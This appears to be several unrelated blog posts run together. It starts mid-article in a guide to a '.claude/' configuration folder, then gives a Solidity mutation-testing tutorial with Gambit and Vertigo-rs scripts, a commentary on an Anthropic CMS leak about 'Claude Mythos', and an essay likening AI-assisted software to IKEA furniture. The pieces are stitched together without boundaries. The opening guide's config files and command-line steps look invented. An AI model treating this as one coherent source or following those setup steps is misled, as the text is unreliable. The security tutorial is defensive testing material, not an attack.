Problem: Too many tools and prompts slow down performance.

Solution: Start simple, add only what you need.

2. Ignoring Security

Problem: Storing API keys in plain text.

Solution: Use environment variables or secret managers.

3. No Backup

Problem: Losing your config means starting over.

Solution: Version control and regular backups.

4. Inconsistent Naming

Problem: code_review vs CodeReview vs code-review.

Solution: Stick to one convention (snake_case is common).

Performance Optimization

1. Cache Frequently Used Prompts

{
  "cache_settings": {
    "enabled": true,
    "max_size": "100MB",
    "ttl": "7d"
  }
}

2. Limit History Size

{
  "history_settings": {
    "max_sessions": 100,
    "max_age": "30d"
  }
}

3. Use Efficient Tools

Avoid tools that make unnecessary API calls or file operations.

Real-World Examples

Example 1: Automated Code Review

{
  "tools": ["code_review", "security_scan"],
  "prompts": ["code_review_template"],
  "system_prompt": "You are a senior code reviewer focused on security and performance."
}

Example 2: Documentation Generator

{
  "tools": ["file_operations", "web_search"],
  "prompts": ["documentation_template"],
  "system_prompt": "You are a technical writer who creates clear, comprehensive documentation."
}

Example 3: Bug Fix Assistant

{
  "tools": ["code_review", "debugger"],
  "prompts": ["bug_fix_template"],
  "system_prompt": "You are a debugging expert who identifies root causes and provides fixes."
}

Getting Started

Step 1: Create Your Config

mkdir -p ~/.claude
cat > ~/.claude/config.json << 'EOF'
{
  "model": "claude-3-5-sonnet-20241022",
  "temperature": 0.7,
  "max_tokens": 4096,
  "tools": ["code_interpreter", "file_search"],
  "system_prompt": "You are a helpful AI assistant."
}
EOF

Step 2: Add Your First Tool

mkdir -p ~/.claude/tools/my_tool
cat > ~/.claude/tools/my_tool/manifest.json << 'EOF'
{
  "name": "my_tool",
  "version": "1.0.0",
  "description": "My first custom tool",
  "entry_point": "handler.py",
  "permissions": []
}
EOF

Step 3: Create Your First Prompt

mkdir -p ~/.claude/prompts
cat > ~/.claude/prompts/my_prompt.md << 'EOF'
# My Prompt Template

{{input}}

Provide a clear, actionable response.
EOF

Step 4: Test It

claude --config ~/.claude/config.json

Resources

Conclusion

The .claude/ folder is your secret weapon for maximizing Claude AI’s potential. By understanding and optimizing its structure, you can transform Claude from a generic AI into a personalized productivity engine.

Start simple, iterate often, and don’t be afraid to experiment. The 359-point Hacker News discussion proves you’re not alone—developers everywhere are discovering the power of Claude configuration.

Next Steps:

  1. Explore your current .claude/ folder
  2. Create your first custom tool
  3. Document your prompt templates
  4. Share your configurations with the community

Want to learn more about AI tools and automation? Check out my other articles on AI Skills for Affiliate Marketing and GEO: The New SEO for AI Search Engines.

Affiliate Disclosure: This article contains affiliate links. If you make a purchase through these links, I may earn a commission at no additional cost to you.

Mutation Testing for Solidity: The Audit Quality Metric Your Protocol Is Ignoring

Mutation Testing for Solidity: The Audit Quality Metric Your Protocol Is Ignoring

Your test suite shows 100% line coverage. Every function is touched, every branch is hit. Ship it, right?

Not so fast. In Q1 2026 alone, DeFi protocols have lost over $137 million to exploits — and many of those protocols had “comprehensive” test suites and professional audits. The uncomfortable truth: line coverage tells you what code your tests execute, not what bugs they would catch.

This is where mutation testing comes in — and it’s the most underused weapon in the Solidity security toolkit.

What Mutation Testing Actually Does

The core idea is deceptively simple:

  1. Take your contract code
  2. Introduce a small, deliberate bug (a “mutant”)
  3. Run your test suite
  4. If your tests still pass → your tests have a blind spot

Each surviving mutant represents a class of bugs your test suite cannot detect. A flipped >= to >, a removed require check, a swapped + to - — if none of your tests notice, that’s exactly the kind of subtle logic error an attacker will find.

Why Coverage Lies

Consider this common DeFi pattern:

function withdraw(uint256 shares) external {
    require(shares > 0, "zero shares");
    require(shares <= balanceOf[msg.sender], "insufficient");

    uint256 assets = (shares * totalAssets()) / totalSupply;

    balanceOf[msg.sender] -= shares;
    totalSupply -= shares;

    IERC20(asset).transfer(msg.sender, assets);
}

A test that calls withdraw(100) with sufficient balance achieves full line coverage of this function. But it wouldn’t catch:

  • Mutant 1: require(shares >= 0) — allows zero-share withdrawals (potential DoS or accounting issues)
  • Mutant 2: shares * totalAssets() / totalSupply → shares + totalAssets() / totalSupply — arithmetic manipulation
  • Mutant 3: Remove the second require entirely — anyone can burn others’ shares
  • Mutant 4: <= to < — off-by-one prevents full withdrawal

A test suite with 100% line coverage can easily miss all four. A mutation score of, say, 60% would immediately flag this function as undertested.

The Tools: Gambit vs. Vertigo-rs

Two mature tools dominate Solidity mutation testing in 2026:

Gambit (by Certora)

Gambit generates mutants by analyzing the Solidity AST and applying syntax transformations. It’s fast (written in Rust) and integrates with Certora’s formal verification pipeline.

Setup:

# Install Gambit
pip install gambit-se

# Generate mutants for a specific contract
gambit mutate --filename src/Vault.sol --solc_remappings "@openzeppelin=node_modules/@openzeppelin"

Gambit outputs mutated source files to gambit_out/mutants/. Each mutant includes a diff showing exactly what changed:

--- original
+++ mutant
@@ -42,7 +42,7 @@
-    require(shares <= balanceOf[msg.sender], "insufficient");
+    require(shares < balanceOf[msg.sender], "insufficient");

Key strength: Gambit supports Certora Prover specs, so you can test whether your formal verification rules, not just unit tests, catch mutations. This is incredibly powerful for protocols that use both testing and formal methods.

Key limitation: Gambit generates mutants but doesn’t automatically run your test suite against them. You need a wrapper script:

#!/bin/bash
KILLED=0
SURVIVED=0
TOTAL=$(ls gambit_out/mutants/ | wc -l)

for mutant_dir in gambit_out/mutants/*/; do
    # Copy mutant over original
    cp "$mutant_dir"/*.sol src/

    # Run tests, suppress output
    if forge test --no-match-test "testFuzz" -q 2>/dev/null; then
        echo "SURVIVED: $(cat $mutant_dir/gambit_results.json | jq -r '.description')"
        ((SURVIVED++))
    else
        ((KILLED++))
    fi

    # Restore original
    git checkout src/
done

echo "Mutation Score: $KILLED / $TOTAL ($((KILLED * 100 / TOTAL))%)"
echo "Survivors: $SURVIVED (these are your blind spots)"

Vertigo-rs (by RareSkills)

Vertigo-rs is the more batteries-included option. It handles mutant generation, test execution, and scoring in a single pipeline.

Setup:

# Install vertigo-rs
cargo install vertigo-rs

# Run mutation testing with Foundry
vertigo-rs run --framework foundry

Output looks like:

[*] Running mutation campaign...
[*] Generated 247 mutants across 12 contracts
[*] Testing mutants...

 Contract: Vault.sol
  ✗ SURVIVED - Line 42: require(shares <= ...) → require(shares < ...)
  ✓ KILLED   - Line 45: shares * totalAssets() → shares + totalAssets()
  ✗ SURVIVED - Line 48: balanceOf[msg.sender] -= shares → (removed)
  ...

 Mutation Score: 178/247 (72.1%)
 Survived: 69 mutants

Key strength: Zero-config integration with Foundry, Hardhat, and Truffle. Just point it at your project and run.

Key limitation: Can be slow on large codebases because it recompiles and re-runs the full test suite for every mutant. For a protocol with 500+ tests, each mutation run might take 30-60 seconds, and 300 mutants means 2.5-5 hours.

Which to Choose?

Criteria Gambit Vertigo-rs
Setup effort Medium (need wrapper script) Low (batteries included)
Speed Fast generation, manual execution Slower (full recompile per mutant)
Foundry support Via scripting Native
Formal verification ✅ Certora integration ❌
Mutation operators 20+ 15+
Active maintenance Certora team RareSkills community

My recommendation: Use Vertigo-rs for quick feedback during development. Use Gambit when you’re preparing for an audit and want to validate both tests and formal specs.

Real-World Case Study: The Mutations That Would Have Caught $25M

Let’s look at the Resolv Labs exploit from March 22, 2026. The root cause was a compromised off-chain signing key that approved unbacked minting. But the on-chain contracts also lacked a critical invariant check:

function mint(uint256 amount, bytes calldata proof) external {
    require(verifyMintApproval(amount, proof), "invalid proof");
    _mint(msg.sender, amount);
}

A mutation testing campaign would have generated this mutant:

// MUTANT: Remove require
function mint(uint256 amount, bytes calldata proof) external {
    // require removed
    _mint(msg.sender, amount);
}

If the test suite only tested the happy path (valid proof → successful mint), this mutant survives — meaning no test verifies that invalid proofs are actually rejected. A dedicated negative test would kill it:

function test_mint_rejects_invalid_proof() public {
    bytes memory fakeProof = abi.encodePacked(uint256(0xdead));
    vm.expectRevert("invalid proof");
    vault.mint(1000e18, fakeProof);
}

More critically, an invariant test would have flagged the missing supply-backing check:

function invariant_supply_backed() public {
    assertGe(
        IERC20(usdc).balanceOf(address(vault)),
        vault.totalSupply() * vault.exchangeRate() / 1e18
    );
}

This invariant — total supply must always be backed by collateral — is exactly what mutation testing trains you to write.

A Practical Mutation Testing Workflow

Here’s the workflow I recommend for any DeFi protocol heading toward audit:

Phase 1: Baseline (Week 1)

# Run Vertigo-rs to get your baseline mutation score
vertigo-rs run --framework foundry --output results.json

# Review survivors grouped by contract
cat results.json | jq '.survivors | group_by(.contract) | map({contract: .[0].contract, count: length})'

Expect a mutation score of 40-60% on most DeFi codebases. Don’t panic — this is normal.

Phase 2: Kill Critical Survivors (Week 2)

Focus on survivors in security-critical functions: deposit, withdraw, borrow, liquidate, governance execution. For each survivor:

  1. Understand what the mutant changed
  2. Ask: “If this bug existed in production, what would the impact be?”
  3. Write the specific test that kills it

Priority order:

  • Removed require/assert → Write negative tests
  • Flipped comparisons → Write boundary tests
  • Arithmetic operator changes → Write precision tests
  • Removed state updates → Write multi-step scenario tests

Phase 3: Invariant Hardening (Week 3)

The most valuable output of mutation testing isn’t killing individual mutants — it’s identifying the invariants your protocol assumes but never tests:

// These invariants should survive ALL mutations
function invariant_total_supply_matches_balances() public { ... }
function invariant_collateral_ratio_above_minimum() public { ... }
function invariant_no_unbacked_debt() public { ... }
function invariant_withdrawal_never_exceeds_balance() public { ... }

Phase 4: CI Integration (Ongoing)

Add mutation testing to your CI pipeline, but scope it to changed files to keep it fast:

# .github/workflows/mutation.yml
name: Mutation Testing
on:
  pull_request:
    paths: ['src/**/*.sol']

jobs:
  mutate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: foundry-rs/foundry-toolchain@v1

      - name: Run mutation testing on changed contracts
        run: |
          CHANGED=$(git diff --name-only origin/main -- 'src/*.sol')
          for file in $CHANGED; do
            vertigo-rs run --framework foundry --contract "$file"
          done

      - name: Check mutation score threshold
        run: |
          SCORE=$(cat mutation_results.json | jq '.score')
          if (( $(echo "$SCORE < 75" | bc -l) )); then
            echo "❌ Mutation score $SCORE% below 75% threshold"
            exit 1
          fi

The Mutation Score Sweet Spot

What mutation score should you target?

  • < 50%: Your tests are decoration. An attacker could introduce subtle bugs that your entire test suite wouldn’t notice.
  • 50-70%: Typical for well-tested DeFi protocols. You’re catching obvious bugs but missing edge cases.
  • 70-85%: Strong. Most security-relevant mutations are caught. This is the realistic target for pre-audit readiness.
  • > 85%: Diminishing returns. Some mutants (like changing a revert string) aren’t security-relevant. Don’t chase 100%.

The target: 75%+ mutation score on all security-critical contracts before submitting for audit.

What Mutation Testing Won’t Catch

Be honest about the limits:

  • Design-level flaws: Mutation testing evaluates your tests, not your architecture. A fundamentally broken economic model passes mutation testing with flying colors.
  • Cross-contract interactions: Most mutation tools operate on single contracts. Integration-level bugs between protocols require integration-level tests.
  • Off-chain dependencies: The Resolv hack ultimately came from a compromised key — no on-chain mutation would model that.
  • Gas optimization regressions: Mutants that are functionally equivalent but gas-inefficient aren’t caught.

Mutation testing is one layer in a defense-in-depth strategy: unit tests → mutation testing → fuzz testing → formal verification → professional audit → monitoring.

Getting Started Today

  1. Install Vertigo-rs: cargo install vertigo-rs
  2. Run it: vertigo-rs run --framework foundry
  3. Read the survivors: Focus on security-critical contracts first
  4. Kill 10 mutants: Write targeted tests for the most dangerous survivors
  5. Repeat weekly: Track your mutation score over time

The protocols that survive 2026 won’t be the ones with the most audits — they’ll be the ones that actually tested what their audits assumed.

This is part of a series on practical DeFi security techniques. Previously: Foundry Invariant Testing for DeFi Exploits, DeFi Circuit Breakers: From ERC-7265 to Aave Shield. Next up: Building a Pre-Audit Security Dashboard with Slither, Aderyn, and Custom Detectors.

Anthropic Data Leak: How Ops Failures Undermine AI Safety

Anyone with a browser and a bit of curiosity could quietly pull draft pages about Anthropic’s unreleased “Claude Mythos” model, an invite‑only CEO retreat, and thousands of other assets from a public web endpoint. The Anthropic data leak wasn’t a shadowy zero‑day or an AI jailbreak; it was the web equivalent of putting your company safe on the porch and hoping nobody tried the handle.

TL;DR

  • The Anthropic data leak exposed ~3,000 unpublished CMS assets, including draft “Claude Mythos” materials and internal event docs, through a public‑by‑default content store.
  • The Claude Mythos leak is real as a product signal, but the deeper story is operational: basic configuration hygiene failed at a company that markets itself on AI safety.
  • The key insight: frontier‑model risks increasingly come from boring ops mistakes—CMS configs, asset stores, automation blind spots—where AI safety rhetoric doesn’t reach.

What the Anthropic data leak actually revealed

Compressed version first: Fortune reporters, with help from named security researchers, discovered that Anthropic’s web CMS exposed a cache of nearly 3,000 unpublished assets—draft blog posts, PDFs, images, internal docs—through a public endpoint that didn’t require login. Among them: draft marketing and risk materials about a not‑yet‑announced “Claude Mythos” model and an invite‑only CEO retreat where Dario Amodei would demo unreleased capabilities. After Fortune called, Anthropic flipped the setting and locked it down, blaming “human error” in an external CMS configuration.

Look at what didn’t have to happen here.

No one socially engineered an engineer.

No one ran an LLM‑powered exploit chain.

They just asked the CMS, politely, “What do you have?” and the CMS answered.

This is the part where most coverage veers off into model hype—benchmarks, “step change in capabilities,” and whether Claude Mythos is secretly Skynet with better branding.

But the more interesting question is: how does a company preaching frontier AI safety end up with its web CMS acting like an open filing cabinet?

Because that’s not a model problem.

That’s an ops culture problem.

How much of “Claude Mythos” is real, and how much is still squishy?

OK so imagine two piles on a table labeled Verified and Still Marketing Until Proven Otherwise.

Here’s what clearly goes in the Verified pile:

  • There was an internal code‑name or tier name around “Mythos” (and “Capybara”) in the leaked drafts.
  • Anthropic told Fortune it is testing a new model under that name and called it “the most capable we’ve built to date” and a “step change” over current Claude.
  • Draft text, quoted by Fortune, emphasized cyber capabilities and warned that the model is “currently far ahead of any other AI model in cyber capabilities,” with plans for early access to defenders.

You don’t acknowledge the name, echo the “step change” language, and then pretend it’s all fan fiction.

So: Claude Mythos exists as a serious internal project and is far enough along for launch copy, risk framing, and CEO road‑show decks.

What stays in the squishy pile for now:

  • Exact parameter counts, architecture details, and benchmark numbers quoted in draft materials.
  • The “far ahead of any other AI model in cyber capabilities” claim relative to competing labs, which we only see via draft text and Anthropic’s framing—not independent tests.
  • Any implied timelines, pricing tiers (e.g., “Capybara”), or policy positions that might have changed since those drafts.

If you care about AI capabilities, the Claude Mythos leak is a useful early warning of where Anthropic is aiming.

But the part we can fully verify—the fact that this all leaked via a sloppy CMS configuration—is actually the more important signal about the future risk surface.

Why this leak is an ops problem, not just an AI problem

Look, we like to tell ourselves that “AI risk” is this rarefied thing: alignment strategies, model evaluations, misuse scenarios.

Most of the real risk, though?

It shows up in checkboxes.

Fortune’s reporting lines up with a painfully familiar pattern any web engineer recognizes:

  1. Use a hosted CMS where assets are public by default.
  2. Pipe all your logos, drafts, PDFs, and launch decks through the same asset store.
  3. Rely on humans to remember to flip the “private” bit on sensitive things.
  4. Never model the CMS itself as a security‑critical system because “it’s just the blog.”

That’s not exotic. That’s OWASP Top Ten territory: “Security Misconfiguration” and “Insecure Design” in their most boring forms.

And that’s the point.

Anthropic has been unusually vocal about model‑level safety—red‑teaming, constitutional AI, structured evaluations. In another NovaKnown piece, we talked about AI builds AI and how Anthropic uses Claude‑based agents to automate internal engineering work.

Now put those two threads together:

  • You automate more of your code and content plumbing with agents.
  • The number of systems capable of silently flipping a dangerous checkbox multiplies.
  • But your safety culture is concentrated at the model layer, not in the mundane glue.

You get exactly this: a world‑class research org whose public‑facing CMS is a single misclick away from turning R&D secrecy into an RSS feed.

Here’s the thing: the Anthropic data leak looks like a contradiction—“safety‑obsessed lab, amateur‑hour web security”—but it’s actually a preview.

The more a company centralizes risk conversations around models, the more invisible these ops layers become.

And invisible layers accumulate sharp edges.

AI safety with the keys under the mat

A Reddit commenter nailed the metaphor: CMS misconfigurations are “leaving your house key under the mat, except the mat is indexed by every crawler on the internet.”

Extend that a bit.

Modern AI companies don’t have a house.

They have:

  • A CMS for the website.
  • A separate one for docs.
  • A synthetic data generation pipeline.
  • An internal app store for agents and tools.
  • A half‑dozen data lakes for training, evals, and analytics.

Every one of those is a potential “key under the mat” surface.

And the key insight is: AI safety rhetoric doesn’t automatically harden any of them.

When you read about the Claude Mythos leak, it’s tempting to think “wow, imagine if that model had gone rogue.” But the real, present‑day risk is much more like what we explored in the AI agent hack: prompt‑layer security piece: glue systems and orchestration layers where nobody thought to build in guardrails.

There, it was agents smuggling instructions through a prompt layer.

Here, it’s a CMS quietly answering, “Sure, here are all my unpublished files.”

In both cases, the attackers don’t need to beat your frontier model.

They just need to beat your plumbing.

And right now, the plumbing is full of default‑on faucets.

Why the Anthropic data leak matters beyond Anthropic

OK, so what does this leak actually change for anyone who isn’t Anthropic?

For users, the good news is that Fortune’s reporting doesn’t point to leaked API keys, chat logs, or customer data. This was about internal docs, product positioning, and event details. The bad news is what it says about how seriously your vendor treats operational security around AI.

If the same org that runs careful cyber‑capability evals on Claude Mythos can forget to lock down a CMS cache, you should assume your own vendor’s “security whitepaper” is at least half aspiration.

For competitors, the Claude Mythos leak is basically a free scouting report.

Not the raw weights—that would be catastrophic—but enough to:

  • Infer Anthropic’s internal benchmarks and where they think they’re ahead.
  • See how they intend to sequence access (defenders first, then broader rollout).
  • Benchmark your own roadmap and marketing claims against their draft copy.

It’s like seeing your opponent’s playbook diagrammed in pencil. The plays might change, but the philosophy is on the page.

For regulators, this is the interesting part.

Most proposed AI regulation obsesses over the model: model registration, evals, release thresholds. Very few frameworks talk concretely about the operational surface around those models—CMS configs, logging and access controls on eval data, agent orchestration layers, per‑service threat modeling.

Yet the Anthropic data leak shows you can meaningfully increase public risk without touching the model weights at all.

You just have to:

  • Leak drafts that detail cyber capabilities before there’s a containment plan.
  • Leak schedules and locations of high‑value, invite‑only events.
  • Leak internal assessments that adversaries can use to prioritize where to probe.

None of that shows up in a model card.

Some of it probably should show up in a safety‑case file.

If regulators want to be taken seriously in an “AI operational security” world, they’ll need to treat AI companies less like nuclear labs and more like cloud providers with very weird data—subject to boring, continuous scrutiny of their ops posture, not just their flagship models.

Key Takeaways

  • The Anthropic data leak was caused by a CMS misconfiguration and public‑by‑default asset store, not an exotic cyberattack or model exploit.
  • The Claude Mythos leak confirms Anthropic is testing a significantly more capable model, but technical claims remain internal drafts, not fully verified benchmarks.
  • This incident is a classic security misconfiguration—the kind OWASP has warned about for years—now happening in a frontier AI lab context.
  • AI safety conversations are heavily skewed toward models, while operational layers like CMS, data lakes, and agent orchestration remain under‑secured.
  • For users, competitors, and regulators, the lesson is simple: ask how vendors run their ops, not just how they align their models.

Further Reading

In a world racing to align superhuman models, the thing that will keep biting us isn’t rogue AI—it’s the checkbox somebody forgot to uncheck on the way to production.

Originally published on novaknown.com

Software Is Entering Its IKEA Era

Every few days, someone confidently declares that AI is about to wipe out software engineering.

I don’t buy that.

I think software is much closer to woodworking than people realize.

Before industrialization, furniture was made by hand. If you wanted a table, a chair, a cabinet, or a bed frame, you needed a skilled craftsperson. The work took years of training. It was slow, specialized, and expensive. Good furniture was not broadly accessible because it could not be. Every piece required real human expertise, and that expertise did not scale cheaply.

Then industrialization happened.

The craft of making furniture did not disappear. It changed.

Machines, standardization, and repeatable manufacturing processes made it possible to produce furniture at much larger scale and much lower cost. The average quality was often lower than what a master craftsperson could produce by hand, but that was only part of the story. The bigger change was that an entirely new market opened up. Furniture became accessible to far more people. Businesses like IKEA could exist. A thing that once required expert labor for every unit could now be produced in enormous volume by a system.

Handmade furniture did not go away. There is still a market for beautiful, custom, ultra-high-quality work. But the center of gravity changed. Some artisans were displaced. Some adapted. Some moved further upmarket. And alongside all of that, a much larger market for cheaper, faster, more standardized output came into existence.

I think software is going to follow a very similar path.

Software Has Been Craft Work for a Long Time

For most of its history, building software has looked a lot like skilled handcraft.

You needed people with deep, specific knowledge. You needed years of training. You needed teams of specialists who could translate ambiguous human needs into precise technical systems. Every meaningful piece of software required a large amount of manual effort from people who knew what they were doing.

That made software powerful, but it also made it expensive. There are countless products, automations, internal tools, and business ideas that never got built, not because they were bad ideas, but because the cost of making software was too high. The custom work involved was too specialized. The economics did not work.

AI Lowers the Cost of Production

AI is making it cheaper and faster to produce software that is good enough for many use cases. Not perfect. Not elegant. Not deeply original. But good enough.

There are companies that will now build internal tools they never would have funded before. There are small businesses that will buy software they could never previously afford. There are workflows that stayed manual for years because no one was going to assign a full engineering team to automate them. There are product ideas that used to die in a spreadsheet that may now become viable.

The important question is not just whether AI can replace some portion of current engineering labor. The important question is what happens when software itself becomes far more manufacturable.

When that happens, you don’t just get substitution. You get expansion.

You get more software.

And Yes, a Lot of It Will Be the IKEA Version

Good enough code that is customizable enough for most applications.

When you industrialize a craft, you get standardization. You get lower costs. You get accessibility. You also get a lot more average output.

Some of it will be flimsy.

Some of it will be ugly.

Some of it will work surprisingly well for the price.

Some of it will be disposable.

Some of it will be “good enough” in exactly the way the buyer needed.

There will absolutely be a flood of mediocre AI-assisted software. There will be overconfident companies, sloppy implementations, badly framed cost-cutting strategies, and executives who mistake faster production for complete replacement of judgment. There will be chaos, overcorrection, and a lot of noise.

Some people will be displaced. Some categories of work will shrink. Some tasks that used to justify a full human workflow will get compressed into something smaller.

That is not the same thing as saying software engineering jobs disappear. It means the structure of the market changes.

Industrialization Changes the Work Before It Eliminates It

People talk as if the only possibilities are: either software engineering remains exactly what it has been, or it vanishes, but that is usually not what happens to crafts or professions.

The tools change first.

Then the workflow changes.

Then the expectations change.

Then the skill mix changes.

Eventually, the job title survives while the actual work looks very different.

Software engineers may spend less time manually producing obvious code and more time shaping systems. Less time writing boilerplate and more time defining constraints. Less time assembling known patterns by hand and more time evaluating tradeoffs, validating outputs, debugging weird behavior, understanding real user needs, and deciding what quality means in context.

That is still engineering. In some ways, it is more engineering and less typing.

High-Craft Software Will Still Exist

Even after industrialization, handmade furniture did not become pointless, it became differentiated.

If you want something deeply customized, unusually durable, aesthetically excellent, or built around exact needs, you still want real craftsmanship. In fact, the abundance of cheap mass-produced alternatives can make true quality stand out more, not less.

I think the same thing will happen in software.

There will still be demand for systems that are reliable, maintainable, secure, deeply integrated, and thoughtfully designed. There will still be software where correctness matters. There will still be edge cases, constraints, and human realities that don’t fit cleanly into standardized generation.

When code becomes easier to generate, discernment becomes more valuable. When anyone can produce output, the differentiator shifts toward knowing what should be built, how it should be shaped, where the risks are, what corners cannot be cut, and what makes something actually good.

The Bigger Story Is Market Expansion

One reason I am skeptical of the “all jobs go away” framing is that it assumes the size of the software market stays basically fixed. I don’t think it will.

When making something gets cheaper, people don’t merely buy the old amount for less money. They start buying things that previously were not worth buying at all.

Cheap furniture did not just replace expensive furniture. It furnished more homes.

AI-generated and AI-assisted software will not just compete with existing software teams. It will also create a much larger market for software in places where custom development was previously too expensive, too slow, or too inaccessible.

Some of the work will move downward into highly standardized production. Some of it will move upward into higher-leverage oversight, architecture, integration, and quality. Some entirely new categories of work will appear because the economics now support them.

That seems much more plausible to me than “software engineering stops existing.”

I’ve Heard This Story Before

My dad worked in television for about forty years. He started in the late 1970s, right as one era was ending and another was beginning. The first great golden age of television was fading, and cable was rising into what you could probably call a second golden age.

For a long time, the industry changed less than people might expect. The scale grew. Availability exploded. More channels, more content, more reach. But the basic operating model and economics stayed recognizable. Television was still television. Prime time still mattered. The machinery of the industry still made sense to the people inside it.

Then the 2010s happened.

Streaming did not just compete with network and cable television. It reorganized the entire landscape. Very quickly, the old structure stopped being the center of gravity. The audience changed. The business model changed. Distribution changed. Viewing habits changed. Many of the jobs my dad did over the course of his career simply do not exist anymore.

The industry did not die, it transformed into something that most people inside it probably could not have fully envisioned until after it happened.

Johnny Carson was eventually followed by Letterman, Leno, Conan, and then a parade of Jimmys. But even that version of the industry turned out not to be permanent. It was gradually overtaken by something far more fragmented: MrBeast, the Paul brothers, YouTubers, Twitch streamers, podcasters, TikTok creators, and countless internet-native personalities who built audiences outside the old system entirely. The old model was not replaced by a new host. It was replaced by a new landscape.

My dad jokes that prime time is what paid for his retirement, and I think that line captures a lot. That whole world was real. It was massive. It shaped careers, businesses, and lives. It also largely does not exist anymore in the form that once felt permanent.

That does not mean television ended. There is more video content than ever. More ways to watch it. More creators. More distribution. More total output. But the old structure was not preserved just because it had once seemed foundational. It was replaced by a new one.

I think software may be heading for a similar kind of shift.

For People Who Love Solving Problems, This Could Be a Golden Age

A lot of programmers don’t actually love typing code for its own sake, they love solving problems.

They love understanding systems. They love building tools. They love making messy things clean. They love turning ambiguity into structure. They love the feeling of gaining leverage over a problem that looked impossible a few hours ago. That part is not going away.

The problems are changing. The tools are changing. The constraints are changing. The surface area of what one person can build is changing. For people who do this for the love of the game, that is exciting because everything will be in motion.

There will be new abstractions, new workflows, new product categories, new expectations, and new kinds of technical judgment. There will be new opportunities to build things that were previously out of reach. There will be a massive amount of room for experimentation.

If you like problem solving more than you like protecting old workflows, this moment is full of possibilities.

The Transition Will Be Messy

Industrialization is disruptive.

There will be companies that overcorrect badly. There will be teams that are reduced too aggressively. There will be low-quality software shipped at scale because someone decided speed mattered more than understanding. There will be a period where many people are asked to operate in systems that have changed faster than the norms around them.

If your current job is mostly composed of work that is easy to standardize, I don’t think denial is a useful response. The market is changing. Pretending otherwise will not help. The better response, at least to me, is adaptation.

Learn the tools.

Understand the new economics.

Move toward the parts of the work where judgment matters.

Get better at problem framing, system design, evaluation, communication, and taste.

Become the person who can work with the new machinery without mistaking it for magic.

That seems like a far more grounded response than mourning a version of the craft that was never going to stay frozen in time.

Some jobs will shrink. Some will disappear. Some will be reborn in altered forms. Entire new layers of software work will appear. New tools will create new expectations. New economics will produce software that would never have existed under the old model. And a lot of what feels central today may someday feel like prime time television: once dominant, deeply real, and eventually no longer the thing that anchors the industry.

If your goal is to keep building, keep learning, and keep solving interesting problems, it might be the most interesting moment the field has seen in a very long time.

The craft of making software is not disappearing. But like every craft touched by new machinery, new economics, and new distribution, it is going to change shape.

Some people will spend too much energy mourning that.

I would rather spend mine learning the new tools and exploring what becomes possible next.